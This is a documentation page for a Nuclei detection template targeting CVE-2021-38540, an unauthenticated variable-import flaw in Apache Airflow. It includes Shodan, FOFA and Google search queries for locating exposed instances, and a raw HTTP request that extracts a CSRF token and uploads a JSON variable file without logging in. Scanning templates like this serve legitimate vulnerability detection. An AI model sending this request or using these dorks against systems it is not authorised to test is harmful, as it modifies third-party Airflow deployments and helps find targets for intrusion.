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Apache Airflow - Unauthenticated Variable Import

ID: CVE-2021-38540

Severity: critical

Author: pdteam

Tags: cve2021,cve,apache,airflow,rce,intrusive

Description

Section titled “Description”

Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2021-38540


info:
  name: Apache Airflow - Unauthenticated Variable Import
  author: pdteam
  severity: critical
  description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
  impact: |
    An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data.
  remediation: Upgrade to Apache Airflow 2.1.3 or higher.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38540
    - https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
    - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
    - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2%40%3Cannounce.apache.org%3E
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-38540
    cwe-id: CWE-306,CWE-269
    epss-score: 0.01603
    epss-percentile: 0.87397
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: airflow
    shodan-query:
      - title:"Sign In - Airflow"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
      - product:"redis"
    fofa-query:
      - title="sign in - airflow"
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
    google-query:
      - intitle:"sign in - airflow"
      - intitle:"airflow - dags" || http.html:"apache airflow"
  tags: cve2021,cve,apache,airflow,rce,intrusive


http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        POST /variable/varimport HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
        Referer: {{RootURL}}/admin/variable/


        ------WebKitFormBoundaryB874qcjbpxTP1Hj7
        Content-Disposition: form-data; name="csrf_token"


        {{csrf}}
        ------WebKitFormBoundaryB874qcjbpxTP1Hj7
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
        Content-Type: application/json


        {
            "type": "{{randstr}}"
        }


        ------WebKitFormBoundaryB874qcjbpxTP1Hj7--


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "Sign In")
          - status_code_2 == 302
          - contains(header_2, "session=.")
        condition: and


      - type: word
        words:
          - 'You should be redirected automatically to target URL: <a href="/">'


    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - type="hidden" value="(.*?)">
        internal: true
# digest: 4a0a00473045022100ada792a94acfed97536bc1a4c9b27d63f5aa35bca0b02b98471ef60af19d5235022015a203710d6588e6e9a2d4a701049b3d64af0e29a457e8b523e0c755a3717c31:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-38540.yaml"

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